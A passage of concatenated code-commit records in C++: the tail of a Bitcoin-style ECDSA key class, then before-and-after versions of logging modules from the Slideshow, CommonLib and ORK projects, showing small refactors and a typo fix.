EC_KEY_get0_private_key(pkey);\n int nBytes = BN_num_bytes(bn);\n if (bn == NULL)\n throw key_error(\"CKey::GetSecret() : EC_KEY_get0_private_key failed\");\n int n=BN_bn2bin(bn,&vchRet[32 - nBytes]);\n if (n != nBytes)\n throw key_error(\"CKey::GetSecret(): BN_bn2bin failed\");\n fCompressed = fCompressedPubKey;\n return vchRet;\n}\n\nCPrivKey CKey::GetPrivKey() const\n{\n int nSize = i2d_ECPrivateKey(pkey, NULL);\n if (!nSize)\n throw key_error(\"CKey::GetPrivKey() : i2d_ECPrivateKey failed\");\n CPrivKey vchPrivKey(nSize, 0);\n unsigned char* pbegin = &vchPrivKey[0];\n if (i2d_ECPrivateKey(pkey, &pbegin) != nSize)\n throw key_error(\"CKey::GetPrivKey() : i2d_ECPrivateKey returned unexpected size\");\n return vchPrivKey;\n}\n\nbool CKey::SetPubKey(const CPubKey& vchPubKey)\n{\n const unsigned char* pbegin = &vchPubKey.vchPubKey[0];\n if (!o2i_ECPublicKey(&pkey, &pbegin, vchPubKey.vchPubKey.size()))\n return false;\n fSet = true;\n if (vchPubKey.vchPubKey.size() == 33)\n SetCompressedPubKey();\n return true;\n}\n\nCPubKey CKey::GetPubKey() const\n{\n int nSize = i2o_ECPublicKey(pkey, NULL);\n if (!nSize)\n throw key_error(\"CKey::GetPubKey() : i2o_ECPublicKey failed\");\n std::vector<unsigned char> vchPubKey(nSize, 0);\n unsigned char* pbegin = &vchPubKey[0];\n if (i2o_ECPublicKey(pkey, &pbegin) != nSize)\n throw key_error(\"CKey::GetPubKey() : i2o_ECPublicKey returned unexpected size\");\n return CPubKey(vchPubKey);\n}\n\nbool CKey::Sign(uint256 hash, std::vector<unsigned char>& vchSig)\n{\n unsigned int nSize = ECDSA_size(pkey);\n vchSig.resize(nSize); \/\/ Make sure it is big enough\n if (!ECDSA_sign(0, (unsigned char*)&hash, sizeof(hash), &vchSig[0], &nSize, pkey))\n {\n vchSig.clear();\n return false;\n }\n vchSig.resize(nSize); \/\/ Shrink to fit actual size\n return true;\n}\n\n\/\/ create a compact signature (65 bytes), which allows reconstructing the used public key\n\/\/ The format is one header byte, followed by two times 32 bytes for the serialized r and s values.\n\/\/ The header byte: 0x1B = first key with even y, 0x1C = first key with odd y,\n\/\/ 0x1D = second key with even y, 0x1E = second key with odd y\nbool CKey::SignCompact(uint256 hash, std::vector<unsigned char>& vchSig)\n{\n bool fOk = false;\n ECDSA_SIG *sig = ECDSA_do_sign((unsigned char*)&hash, sizeof(hash), pkey);\n if (sig==NULL)\n return false;\n vchSig.clear();\n vchSig.resize(65,0);\n int nBitsR = BN_num_bits(sig->r);\n int nBitsS = BN_num_bits(sig->s);\n if (nBitsR <= 256 && nBitsS <= 256)\n {\n int nRecId = -1;\n for (int i=0; i<4; i++)\n {\n CKey keyRec;\n keyRec.fSet = true;\n if (fCompressedPubKey)\n keyRec.SetCompressedPubKey();\n if (ECDSA_SIG_recover_key_GFp(keyRec.pkey, sig, (unsigned char*)&hash, sizeof(hash), i, 1) == 1)\n if (keyRec.GetPubKey() == this->GetPubKey())\n {\n nRecId = i;\n break;\n }\n }\n\n if (nRecId == -1)\n throw key_error(\"CKey::SignCompact() : unable to construct recoverable key\");\n\n vchSig[0] = nRecId+27+(fCompressedPubKey ? 4 : 0);\n BN_bn2bin(sig->r,&vchSig[33-(nBitsR+7)\/8]);\n BN_bn2bin(sig->s,&vchSig[65-(nBitsS+7)\/8]);\n fOk = true;\n }\n ECDSA_SIG_free(sig);\n return fOk;\n}\n\n\/\/ reconstruct public key from a compact signature\n\/\/ This is only slightly more CPU intensive than just verifying it.\n\/\/ If this function succeeds, the recovered public key is guaranteed to be valid\n\/\/ (the signature is a valid signature of the given data for that key)\nbool CKey::SetCompactSignature(uint256 hash, const std::vector<unsigned char>& vchSig)\n{\n if (vchSig.size() != 65)\n return false;\n int nV = vchSig[0];\n if (nV<27 || nV>=35)\n return false;\n ECDSA_SIG *sig = ECDSA_SIG_new();\n BN_bin2bn(&vchSig[1],32,sig->r);\n BN_bin2bn(&vchSig[33],32,sig->s);\n\n EC_KEY_free(pkey);\n pkey = EC_KEY_new_by_curve_name(NID_secp256k1);\n if (nV >= 31)\n {\n SetCompressedPubKey();\n nV -= 4;\n }\n if (ECDSA_SIG_recover_key_GFp(pkey, sig, (unsigned char*)&hash, sizeof(hash), nV - 27, 0) == 1)\n {\n fSet = true;\n ECDSA_SIG_free(sig);\n return true;\n }\n return false;\n}\n\nbool CKey::Verify(uint256 hash, const std::vector<unsigned char>& vchSig)\n{\n \/\/ -1 = error, 0 = bad sig, 1 = good\n if (ECDSA_verify(0, (unsigned char*)&hash, sizeof(hash), &vchSig[0], vchSig.size(), pkey) != 1)\n return false;\n\n return true;\n}\n\nbool CKey::VerifyCompact(uint256 hash, const std::vector<unsigned char>& vchSig)\n{\n CKey key;\n if (!key.SetCompactSignature(hash, vchSig))\n return false;\n if (GetPubKey() != key.GetPubKey())\n return false;\n\n return true;\n}\n\nbool CKey::IsValid()\n{\n if (!fSet)\n return false;\n\n bool fCompr;\n CSecret secret = GetSecret(fCompr);\n CKey key2;\n key2.SetSecret(secret, fCompr);\n return GetPubKey() == key2.GetPubKey();\n}\n<|endoftext|>"} {"text":"<commit_before>\/**\n * This file is part of Slideshow.\n * Copyright (C) 2008-2012 David Sveningsson <ext@sidvind.com>\n *\n * Slideshow is free software: you can redistribute it and\/or modify\n * it under the terms of the GNU Affero General Public License as\n * published by the Free Software Foundation, either version 3 of the\n * License, or (at your option) any later version.\n *\n * Slideshow is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n * GNU Affero General Public License for more details.\n *\n * You should have received a copy of the GNU Affero General Public License\n * along with Slideshow. If not, see <http:\/\/www.gnu.org\/licenses\/>.\n *\/\n\n#ifdef HAVE_CONFIG_H\n#\tinclude \"config.h\"\n#endif\n\n#include \"log.hpp\"\n#include \"ptr.h\"\n#include \"exception.h\"\n#include <stdarg.h>\n#include <cstdlib>\n#include <cstring>\n#include <memory> \/* for auto_ptr *\/\n#include <errno.h>\n#include <time.h>\n#include <sys\/types.h>\n#include <sys\/un.h>\n#include <sys\/stat.h>\n#include <sys\/socket.h>\n#include <portable\/asprintf.h>\n#include <portable\/file.h>\n\n#ifdef HAVE_UNISTD_H\n#include <unistd.h>\n#endif\n\n#ifdef WIN32\n#\tinclude \"win32.h\"\n#endif\n\n#ifdef HAVE_SYSLOG\n#\tinclude <syslog.h>\nint syslog_severity[5] = {\n\tLOG_DEBUG,\n\tLOG_INFO,\n\tLOG_NOTICE,\n\tLOG_WARNING,\n\tLOG_ERR\n};\n#endif \/* HAVE_SYSLOG *\/\n\ntypedef std::vector<std::pair<Destination*, Severity>> vector;\ntypedef vector::iterator iterator;\n\nstatic vector destinations;\n\nFileDestination::FileDestination(const char* filename)\n\t: _fp(NULL)\n\t, _autoclose(true) {\n\n\tFILE* fp = fopen(filename, \"a\");\n\tif ( !fp ){\n\t\tfprintf(stderr, \"Failed to open logfile '%s' ! Fatal error!\\n\", filename);\n\t\texit(1);\n\t}\n}\nFileDestination::FileDestination(FILE* fp)\n\t: _fp(fp)\n\t, _autoclose(false) {\n\n\tif ( !fp ){\n\t\tfprintf(stderr, \"Failed to read fp! Fatal error!\\n\");\n\t\texit(1);\n\t}\n}\n\nFileDestination::~FileDestination(){\n\tif ( _autoclose ){\n\t\tfclose(_fp);\n\t}\n}\nvoid FileDestination::write(const char* content, const char* decorated) const {\n\tfputs(decorated, _fp);\n\tfflush(_fp);\n}\n\nFIFODestination::FIFODestination(const char* filename)\n\t: _filename(NULL)\n\t, _fp(NULL) {\n\n\t_filename = strdup(filename);\n\tmkfifo(filename, 0600);\n\n\tFILE* fp = fopen(filename, \"w\");\n\tif ( !fp ){\n\t\tfprintf(stderr, \"Failed to open logfile '%s' ! Fatal error!\\n\", filename);\n\t\texit(1);\n\t}\n}\n\nFIFODestination::~FIFODestination(){\n\tfclose(_fp);\n\tunlink(_filename);\n\tfree(_filename);\n}\nvoid FIFODestination::write(const char* content, const char* decorated) const {\n\tfputs(decorated, _fp);\n\tfflush(_fp);\n}\n\nSocketDestination::SocketDestination(int socket)\n\t: _socket(socket) {\n\n}\n\nSocketDestination::~SocketDestination(){\n\tclose(_socket);\n}\n\nvoid SocketDestination::write(const char* content, const char* decorated) const {\n\tsend(_socket, decorated, strlen(decorated), 0);\n}\n\n#ifdef HAVE_SYSLOG\nSyslogDestination::SyslogDestination(){\n\t\/* @todo only a single instance of syslog may be opened *\/\n\topenlog(PACKAGE, 0, LOG_DAEMON);\n}\nSyslogDestination::~SyslogDestination(){\n\tcloselog();\n}\nvoid SyslogDestination::write(const char* content, const char* decorated) const {\n\tsyslog(syslog_severity[severity], content);\n}\n#endif \/* HAVE_SYSLOG *\/\n\nUDSServer::UDSServer(const char* filename)\n\t: _filename(NULL)\n\t, _socket(-1) {\n\n\t_filename = strdup(filename);\n\n\tstruct sockaddr_un address;\n\tsocklen_t address_length;\n\n\t_socket = socket(PF_UNIX, SOCK_STREAM, 0);\n\n\tunlink(filename);\n\taddress.sun_family = AF_UNIX;\n\taddress_length = (socklen_t)sizeof(address.sun_family) +\n\t\t(socklen_t)sprintf(address.sun_path, \"%s\", filename);\n\n\tbind(_socket, (struct sockaddr *) &address, address_length);\n\tlisten(_socket, 5);\n}\n\nUDSServer::~UDSServer(){\n\tunlink(_filename);\n\tfree(_filename);\n}\n\nbool UDSServer::accept(struct timeval *timeout) const {\n\tfd_set rfds;\n\tFD_ZERO(&rfds);\n\tFD_SET(_socket, &rfds);\n\n\tif ( select(_socket+1, &rfds, NULL, NULL, timeout) <= 0 ){\n\t\treturn false;\n\t}\n\n\tint client = ::accept(_socket, NULL, NULL);\n\tLog::add_destination(new SocketDestination(client));\n\n\treturn true;\n}\n\nnamespace Log {\n\n\tstatic char *timestring(char *buffer, int bufferlen);\n\tstatic const char* severity_string(Severity severity);\n\n\tvoid initialize(){\n\n\t}\n\n\tvoid cleanup(){\n\t\tfor ( iterator it = destinations.begin(); it != destinations.end(); ++it ){\n\t\t\tdelete it->first;\n\t\t}\n\t\tdestinations.clear();\n\t}\n\n\tvoid add_destination(Destination* dst, Severity severity){\n\t\tdestinations.push_back(std::pair<Destination*, Severity>(dst, severity));\n\t}\n\n\tvoid message(Severity severity, const char* fmt, ...){\n\t\tva_list ap;\n\t\tva_start(ap, fmt);\n\t\tvmessage(severity, fmt, ap);\n\t\tva_end(ap);\n\t}\n\n\tvoid vmessage(Severity severity, const char* fmt, va_list ap){\n\t\tstatic char buf[255]; \/* this isn't thread-safe anyway, might as well make it static *\/\n\t\tchar* tmp;\n\n\t\tvasprintf(&tmp, fmt, ap);\n\t\tPtr<char> content(tmp);\n\n\t\tasprintf(&tmp, \"(%s) [%s] %s\", severity_string(severity), timestring(buf, 255), content.get());\n\t\tPtr<char> decorated(tmp);\n\n\t\tfor ( iterator it = destinations.begin(); it != destinations.end(); ++it ){\n\t\t\tif ( severity < it->second ) continue;\n\t\t\tDestination* dst = it->first;\n\t\t\tdst->write(content.get(), decorated.get());\n\t\t}\n\t}\n\n\tchar* timestring(char *buffer, int bufferlen) {\n\t\ttime_t t = time(NULL);\n\t\tstruct tm* nt;\n#ifdef WIN32\n\t\tnt = new struct tm;\n\t\tlocaltime_s(nt, &t);\n#else\n\t\tnt = localtime(&t);\n#endif\n\t\tstrftime(buffer, bufferlen, \"%Y-%m-%d %H:%M:%S\", nt);\n#ifdef WIN32\n\t\tdelete nt;\n#endif\n\t\treturn buffer;\n\t}\n\n\tconst char* severity_string(Severity severity){\n\t\tswitch ( severity ){\n\t\tcase Log_Debug: return \"DD\";\n\t\tcase Log_Verbose: return \"--\";\n\t\tcase Log_Info: return \" \";\n\t\tcase Log_Warning: return \"WW\";\n\t\tcase Log_Fatal: return \"!!\";\n\t\t}\n\t\treturn NULL;\n\t}\n\n\tvoid debug(const char* fmt, ...){\n\t\tva_list ap;\n\t\tva_start(ap, fmt);\n\t\tvmessage(Log_Debug, fmt, ap);\n\t\tva_end(ap);\n\t}\n\n\tvoid verbose(const char* fmt, ...){\n\t\tva_list ap;\n\t\tva_start(ap, fmt);\n\t\tvmessage(Log_Verbose, fmt, ap);\n\t\tva_end(ap);\n\n\t}\n\n\tvoid info(const char* fmt, ...){\n\t\tva_list ap;\n\t\tva_start(ap, fmt);\n\t\tvmessage(Log_Info, fmt, ap);\n\t\tva_end(ap);\n\n\t}\n\n\tvoid warning(const char* fmt, ...){\n\t\tva_list ap;\n\t\tva_start(ap, fmt);\n\t\tvmessage(Log_Warning, fmt, ap);\n\t\tva_end(ap);\n\n\t}\n\n\tvoid fatal(const char* fmt, ...){\n\t\tva_list ap;\n\t\tva_start(ap, fmt);\n\t\tvmessage(Log_Fatal, fmt, ap);\n\t\tva_end(ap);\n\n\t}\n\n}\n\nextern \"C\" void log_message(enum Severity severity, const char* fmt, ...){\n\tva_list ap;\n\tva_start(ap, fmt);\n\tlog_vmessage(severity, fmt, ap);\n\tva_end(ap);\n}\n\nextern \"C\" void log_vmessage(enum Severity severity, const char* fmt, va_list ap){\n\tLog::vmessage(severity, fmt, ap);\n}\n<commit_msg>daemon: use a delegating constructor<commit_after>\/**\n * This file is part of Slideshow.\n * Copyright (C) 2008-2012 David Sveningsson <ext@sidvind.com>\n *\n * Slideshow is free software: you can redistribute it and\/or modify\n * it under the terms of the GNU Affero General Public License as\n * published by the Free Software Foundation, either version 3 of the\n * License, or (at your option) any later version.\n *\n * Slideshow is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n * GNU Affero General Public License for more details.\n *\n * You should have received a copy of the GNU Affero General Public License\n * along with Slideshow. If not, see <http:\/\/www.gnu.org\/licenses\/>.\n *\/\n\n#ifdef HAVE_CONFIG_H\n#\tinclude \"config.h\"\n#endif\n\n#include \"log.hpp\"\n#include \"ptr.h\"\n#include \"exception.h\"\n#include <stdarg.h>\n#include <cstdlib>\n#include <cstring>\n#include <memory> \/* for auto_ptr *\/\n#include <errno.h>\n#include <time.h>\n#include <sys\/types.h>\n#include <sys\/un.h>\n#include <sys\/stat.h>\n#include <sys\/socket.h>\n#include <portable\/asprintf.h>\n#include <portable\/file.h>\n\n#ifdef HAVE_UNISTD_H\n#include <unistd.h>\n#endif\n\n#ifdef WIN32\n#\tinclude \"win32.h\"\n#endif\n\n#ifdef HAVE_SYSLOG\n#\tinclude <syslog.h>\nint syslog_severity[5] = {\n\tLOG_DEBUG,\n\tLOG_INFO,\n\tLOG_NOTICE,\n\tLOG_WARNING,\n\tLOG_ERR\n};\n#endif \/* HAVE_SYSLOG *\/\n\ntypedef std::vector<std::pair<Destination*, Severity>> vector;\ntypedef vector::iterator iterator;\n\nstatic vector destinations;\n\nFileDestination::FileDestination(const char* filename)\n\t: FileDestination(fopen(filename, \"a\")){\n\n}\n\nFileDestination::FileDestination(FILE* fp)\n\t: _fp(fp)\n\t, _autoclose(false) {\n\n\tif ( !fp ){\n\t\tfprintf(stderr, \"Failed to read fp! Fatal error!\\n\");\n\t\texit(1);\n\t}\n}\n\nFileDestination::~FileDestination(){\n\tif ( _autoclose ){\n\t\tfclose(_fp);\n\t}\n}\nvoid FileDestination::write(const char* content, const char* decorated) const {\n\tfputs(decorated, _fp);\n\tfflush(_fp);\n}\n\nFIFODestination::FIFODestination(const char* filename)\n\t: _filename(NULL)\n\t, _fp(NULL) {\n\n\t_filename = strdup(filename);\n\tmkfifo(filename, 0600);\n\n\tFILE* fp = fopen(filename, \"w\");\n\tif ( !fp ){\n\t\tfprintf(stderr, \"Failed to open logfile '%s' ! Fatal error!\\n\", filename);\n\t\texit(1);\n\t}\n}\n\nFIFODestination::~FIFODestination(){\n\tfclose(_fp);\n\tunlink(_filename);\n\tfree(_filename);\n}\nvoid FIFODestination::write(const char* content, const char* decorated) const {\n\tfputs(decorated, _fp);\n\tfflush(_fp);\n}\n\nSocketDestination::SocketDestination(int socket)\n\t: _socket(socket) {\n\n}\n\nSocketDestination::~SocketDestination(){\n\tclose(_socket);\n}\n\nvoid SocketDestination::write(const char* content, const char* decorated) const {\n\tsend(_socket, decorated, strlen(decorated), 0);\n}\n\n#ifdef HAVE_SYSLOG\nSyslogDestination::SyslogDestination(){\n\t\/* @todo only a single instance of syslog may be opened *\/\n\topenlog(PACKAGE, 0, LOG_DAEMON);\n}\nSyslogDestination::~SyslogDestination(){\n\tcloselog();\n}\nvoid SyslogDestination::write(const char* content, const char* decorated) const {\n\tsyslog(syslog_severity[severity], content);\n}\n#endif \/* HAVE_SYSLOG *\/\n\nUDSServer::UDSServer(const char* filename)\n\t: _filename(NULL)\n\t, _socket(-1) {\n\n\t_filename = strdup(filename);\n\n\tstruct sockaddr_un address;\n\tsocklen_t address_length;\n\n\t_socket = socket(PF_UNIX, SOCK_STREAM, 0);\n\n\tunlink(filename);\n\taddress.sun_family = AF_UNIX;\n\taddress_length = (socklen_t)sizeof(address.sun_family) +\n\t\t(socklen_t)sprintf(address.sun_path, \"%s\", filename);\n\n\tbind(_socket, (struct sockaddr *) &address, address_length);\n\tlisten(_socket, 5);\n}\n\nUDSServer::~UDSServer(){\n\tunlink(_filename);\n\tfree(_filename);\n}\n\nbool UDSServer::accept(struct timeval *timeout) const {\n\tfd_set rfds;\n\tFD_ZERO(&rfds);\n\tFD_SET(_socket, &rfds);\n\n\tif ( select(_socket+1, &rfds, NULL, NULL, timeout) <= 0 ){\n\t\treturn false;\n\t}\n\n\tint client = ::accept(_socket, NULL, NULL);\n\tLog::add_destination(new SocketDestination(client));\n\n\treturn true;\n}\n\nnamespace Log {\n\n\tstatic char *timestring(char *buffer, int bufferlen);\n\tstatic const char* severity_string(Severity severity);\n\n\tvoid initialize(){\n\n\t}\n\n\tvoid cleanup(){\n\t\tfor ( iterator it = destinations.begin(); it != destinations.end(); ++it ){\n\t\t\tdelete it->first;\n\t\t}\n\t\tdestinations.clear();\n\t}\n\n\tvoid add_destination(Destination* dst, Severity severity){\n\t\tdestinations.push_back(std::pair<Destination*, Severity>(dst, severity));\n\t}\n\n\tvoid message(Severity severity, const char* fmt, ...){\n\t\tva_list ap;\n\t\tva_start(ap, fmt);\n\t\tvmessage(severity, fmt, ap);\n\t\tva_end(ap);\n\t}\n\n\tvoid vmessage(Severity severity, const char* fmt, va_list ap){\n\t\tstatic char buf[255]; \/* this isn't thread-safe anyway, might as well make it static *\/\n\t\tchar* tmp;\n\n\t\tvasprintf(&tmp, fmt, ap);\n\t\tPtr<char> content(tmp);\n\n\t\tasprintf(&tmp, \"(%s) [%s] %s\", severity_string(severity), timestring(buf, 255), content.get());\n\t\tPtr<char> decorated(tmp);\n\n\t\tfor ( iterator it = destinations.begin(); it != destinations.end(); ++it ){\n\t\t\tif ( severity < it->second ) continue;\n\t\t\tDestination* dst = it->first;\n\t\t\tdst->write(content.get(), decorated.get());\n\t\t}\n\t}\n\n\tchar* timestring(char *buffer, int bufferlen) {\n\t\ttime_t t = time(NULL);\n\t\tstruct tm* nt;\n#ifdef WIN32\n\t\tnt = new struct tm;\n\t\tlocaltime_s(nt, &t);\n#else\n\t\tnt = localtime(&t);\n#endif\n\t\tstrftime(buffer, bufferlen, \"%Y-%m-%d %H:%M:%S\", nt);\n#ifdef WIN32\n\t\tdelete nt;\n#endif\n\t\treturn buffer;\n\t}\n\n\tconst char* severity_string(Severity severity){\n\t\tswitch ( severity ){\n\t\tcase Log_Debug: return \"DD\";\n\t\tcase Log_Verbose: return \"--\";\n\t\tcase Log_Info: return \" \";\n\t\tcase Log_Warning: return \"WW\";\n\t\tcase Log_Fatal: return \"!!\";\n\t\t}\n\t\treturn NULL;\n\t}\n\n\tvoid debug(const char* fmt, ...){\n\t\tva_list ap;\n\t\tva_start(ap, fmt);\n\t\tvmessage(Log_Debug, fmt, ap);\n\t\tva_end(ap);\n\t}\n\n\tvoid verbose(const char* fmt, ...){\n\t\tva_list ap;\n\t\tva_start(ap, fmt);\n\t\tvmessage(Log_Verbose, fmt, ap);\n\t\tva_end(ap);\n\n\t}\n\n\tvoid info(const char* fmt, ...){\n\t\tva_list ap;\n\t\tva_start(ap, fmt);\n\t\tvmessage(Log_Info, fmt, ap);\n\t\tva_end(ap);\n\n\t}\n\n\tvoid warning(const char* fmt, ...){\n\t\tva_list ap;\n\t\tva_start(ap, fmt);\n\t\tvmessage(Log_Warning, fmt, ap);\n\t\tva_end(ap);\n\n\t}\n\n\tvoid fatal(const char* fmt, ...){\n\t\tva_list ap;\n\t\tva_start(ap, fmt);\n\t\tvmessage(Log_Fatal, fmt, ap);\n\t\tva_end(ap);\n\n\t}\n\n}\n\nextern \"C\" void log_message(enum Severity severity, const char* fmt, ...){\n\tva_list ap;\n\tva_start(ap, fmt);\n\tlog_vmessage(severity, fmt, ap);\n\tva_end(ap);\n}\n\nextern \"C\" void log_vmessage(enum Severity severity, const char* fmt, va_list ap){\n\tLog::vmessage(severity, fmt, ap);\n}\n<|endoftext|>"} {"text":"<commit_before>\/*\r\n * Project: CommonLib\r\n *\r\n * Version: 1.0.0\r\n * History: V1.0 07\/12\/2013 SP - created\r\n *\r\n * Copyright (C) 2013 Stefan Paproth <pappi-@gmx.de>\r\n *\r\n * This program is free software: you can redistribute it and\/or modify\r\n * it under the terms of the GNU Affero General Public License as\r\n * published by the Free Software Foundation, either version 3 of the\r\n * License, or (at your option) any later version.\r\n *\r\n * This program is distributed in the hope that it will be useful,\r\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\r\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\r\n * GNU Affero General Public License for more details.\r\n *\r\n * You should have received a copy of the GNU Affero General Public License\r\n * along with this program. If not, see <http:\/\/www.gnu.org\/licenses\/agpl.txt>.\r\n *\r\n *\/\r\n#include \"log.h\"\r\n\r\n\/*\r\n#define DEFAULT \"\\e[39m\"\r\n#define BLACK \"\\e[30m\"\r\n#define RED \"\\e[31m\"\r\n#define GREEN \"\\e[32m\"\r\n#define YELLOW \"\\e[33m\"\r\n#define BLUE \"\\e[34m\"\r\n#define MAGENTA \"\\e[35m\"\r\n#define CYAN \"\\e[36m\"\r\n#define LIGHT_GRAY \"\\e[37m\"\r\n#define DARK_GRAY \"\\e[90m\"\r\n#define LIGHT_RED \"\\e[91m\"\r\n#define LIGHT_GREEN \"\\e[92m\"\r\n#define LIGHT_YELLOW \"\\e[93m\"\r\n#define LIGHT_BLUE \"\\e[94m\"\r\n#define LIGHT_MAGENTA \"\\e[95m\"\r\n#define LIGHT_CYAN \"\\e[96m\"\r\n#define WHITE \"\\e[97m\"\r\n\r\n#define BOLD_BRIGHT \"\\e[1m\"\r\n#define DIM \"\\e[2m\"\r\n#define UNDERLINED \"\\e[4m\"\r\n#define BLINK \"\\e[5m\"\r\n#define REVERSE \"\\e[7m\"\r\n#define HIDDEN \"\\e[8m\"\r\n\r\n#define RESET_ALL \"\\e[0m\"\r\n#define RESET_BOLD \"\\e[21m\"\r\n#define RESET_DIM \"\\e[22m\"\r\n#define RESET_UNDERLINDE \"\\e[24m\"\r\n#define RESET_BLINK \"\\e[25m\"\r\n#define RESET_REVERSE \"\\e[27m\"\r\n#define RESET_HIDDEN \"\\e[28m\"\r\n*\/\r\n\r\nnamespace tlog {\r\n CLogEntry::~CLogEntry() {\r\n log_.write(buffer.str(), this->szFile_, this->iLine_, this->logLevel_ );\r\n }\r\n\r\n CLog& CLog::theLogger() {\r\n static CLog instance;\r\n return instance;\r\n }\r\n\r\n void CLog::write(\r\n const std::string &strLogText, const char *szFile,\r\n const int &iLine, const enuLogLevel &logLevel\r\n ) {\r\n struct timeb sTimeB;\r\n char buffer[25] = \"\";\r\n\r\n ftime(&sTimeB);\r\n\r\n strftime(buffer, 21, \"%d.%m.%Y %H:%M:%S.\", localtime(&sTimeB.time));\r\n\r\n std::cerr <<\r\n buffer << std::setw(3) << std::setfill('0') << sTimeB.millitm <<\r\n \" \" << std::setw(12) << std::setfill(' ') << szFile <<\r\n \":\" << std::setw(4) << std::setfill('0') << iLine;\r\n\r\n switch(logLevel) {\r\n case Emerg:\r\n std::cerr << \" Emerg.: \";\r\n break;\r\n\r\n case Alert:\r\n std::cerr << \" Alert: \";\r\n break;\r\n\r\n case Error:\r\n std::cerr << \" Error: \";\r\n break;\r\n\r\n case Warning:\r\n std::cerr << \" Warning: \";\r\n break;\r\n\r\n case Info:\r\n std::cerr << \" Info: \";\r\n break;\r\n\r\n case Notice:\r\n std::cerr << \" Debug: \";\r\n break;\r\n }\r\n std::cerr << strLogText << std::endl;\r\n }\r\n}\r\n<commit_msg>typo fixed<commit_after>\/*\r\n * Project: CommonLib\r\n *\r\n * Version: 1.0.0\r\n * History: V1.0 07\/12\/2013 SP - created\r\n *\r\n * Copyright (C) 2013 Stefan Paproth <pappi-@gmx.de>\r\n *\r\n * This program is free software: you can redistribute it and\/or modify\r\n * it under the terms of the GNU Affero General Public License as\r\n * published by the Free Software Foundation, either version 3 of the\r\n * License, or (at your option) any later version.\r\n *\r\n * This program is distributed in the hope that it will be useful,\r\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\r\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\r\n * GNU Affero General Public License for more details.\r\n *\r\n * You should have received a copy of the GNU Affero General Public License\r\n * along with this program. If not, see <http:\/\/www.gnu.org\/licenses\/agpl.txt>.\r\n *\r\n *\/\r\n#include \"log.h\"\r\n\r\n\/*\r\n#define DEFAULT \"\\e[39m\"\r\n#define BLACK \"\\e[30m\"\r\n#define RED \"\\e[31m\"\r\n#define GREEN \"\\e[32m\"\r\n#define YELLOW \"\\e[33m\"\r\n#define BLUE \"\\e[34m\"\r\n#define MAGENTA \"\\e[35m\"\r\n#define CYAN \"\\e[36m\"\r\n#define LIGHT_GRAY \"\\e[37m\"\r\n#define DARK_GRAY \"\\e[90m\"\r\n#define LIGHT_RED \"\\e[91m\"\r\n#define LIGHT_GREEN \"\\e[92m\"\r\n#define LIGHT_YELLOW \"\\e[93m\"\r\n#define LIGHT_BLUE \"\\e[94m\"\r\n#define LIGHT_MAGENTA \"\\e[95m\"\r\n#define LIGHT_CYAN \"\\e[96m\"\r\n#define WHITE \"\\e[97m\"\r\n\r\n#define BOLD_BRIGHT \"\\e[1m\"\r\n#define DIM \"\\e[2m\"\r\n#define UNDERLINED \"\\e[4m\"\r\n#define BLINK \"\\e[5m\"\r\n#define REVERSE \"\\e[7m\"\r\n#define HIDDEN \"\\e[8m\"\r\n\r\n#define RESET_ALL \"\\e[0m\"\r\n#define RESET_BOLD \"\\e[21m\"\r\n#define RESET_DIM \"\\e[22m\"\r\n#define RESET_UNDERLINDE \"\\e[24m\"\r\n#define RESET_BLINK \"\\e[25m\"\r\n#define RESET_REVERSE \"\\e[27m\"\r\n#define RESET_HIDDEN \"\\e[28m\"\r\n*\/\r\n\r\nnamespace tlog {\r\n CLogEntry::~CLogEntry() {\r\n log_.write(buffer.str(), this->szFile_, this->iLine_, this->logLevel_ );\r\n }\r\n\r\n CLog& CLog::theLogger() {\r\n static CLog instance;\r\n return instance;\r\n }\r\n\r\n void CLog::write(\r\n const std::string &strLogText, const char *szFile,\r\n const int &iLine, const enuLogLevel &logLevel\r\n ) {\r\n struct timeb sTimeB;\r\n char buffer[25] = \"\";\r\n\r\n ftime(&sTimeB);\r\n\r\n strftime(buffer, 21, \"%d.%m.%Y %H:%M:%S.\", localtime(&sTimeB.time));\r\n\r\n std::cerr <<\r\n buffer << std::setw(3) << std::setfill('0') << sTimeB.millitm <<\r\n \" \" << std::setw(12) << std::setfill(' ') << szFile <<\r\n \":\" << std::setw(4) << std::setfill('0') << iLine;\r\n\r\n switch(logLevel) {\r\n case Emerg:\r\n std::cerr << \" Emerg.: \";\r\n break;\r\n\r\n case Alert:\r\n std::cerr << \" Alert: \";\r\n break;\r\n\r\n case Error:\r\n std::cerr << \" Error: \";\r\n break;\r\n\r\n case Warning:\r\n std::cerr << \" Warning: \";\r\n break;\r\n\r\n case Info:\r\n std::cerr << \" Info: \";\r\n break;\r\n\r\n case Notice:\r\n std::cerr << \" Notice: \";\r\n break;\r\n }\r\n std::cerr << strLogText << std::endl;\r\n }\r\n}\r\n<|endoftext|>"} {"text":"<commit_before>\/*\nThis file is part of the ORK library.\nFull copyright and license terms can be found in the LICENSE.txt file.\n*\/\n#include\"ork\/ork.hpp\"\n#define ORK_STL_INC_FILE <fstream>\n#include\"ork\/core\/stl_include.inl\"\n#define ORK_STL_INC_FILE <iostream>\n#include\"ork\/core\/stl_include.inl\"\n#define ORK_STL_INC_FILE <mutex>\n#include\"ork\/core\/stl_include.inl\"\n#define ORK_STL_INC_FILE <sstream>\n#include\"ork\/core\/stl_include.inl\"\n\n#include\"ork\/memory.hpp\"\n\n\nnamespace ork {\n\n\nconst ork::string debug_trace(ORK(\"debug_trace\"));\nconst ork::string output_data(ORK(\"output_data\"));\n\nconst ork::string&to_string(const log_channel val) {\n\tswitch(val) {\n\tcase log_channel::debug_trace:\n\t\treturn debug_trace;\n\tcase log_channel::output_data:\n\t\treturn output_data;\n\t};\n\tORK_UNREACHABLE\n}\nlog_channel string2log_channel(const ork::string&str) {\n\tif(str == output_data) {\n\t\treturn log_channel::output_data;\n\t}\n\tif(str == output_data) {\n\t\treturn log_channel::output_data;\n\t}\n\tORK_THROW(ORK(\"Invalid log_channel: \") << str);\n}\n\n\nconst ork::string trace(ORK(\"trace\"));\nconst ork::string debug(ORK(\"debug\"));\nconst ork::string 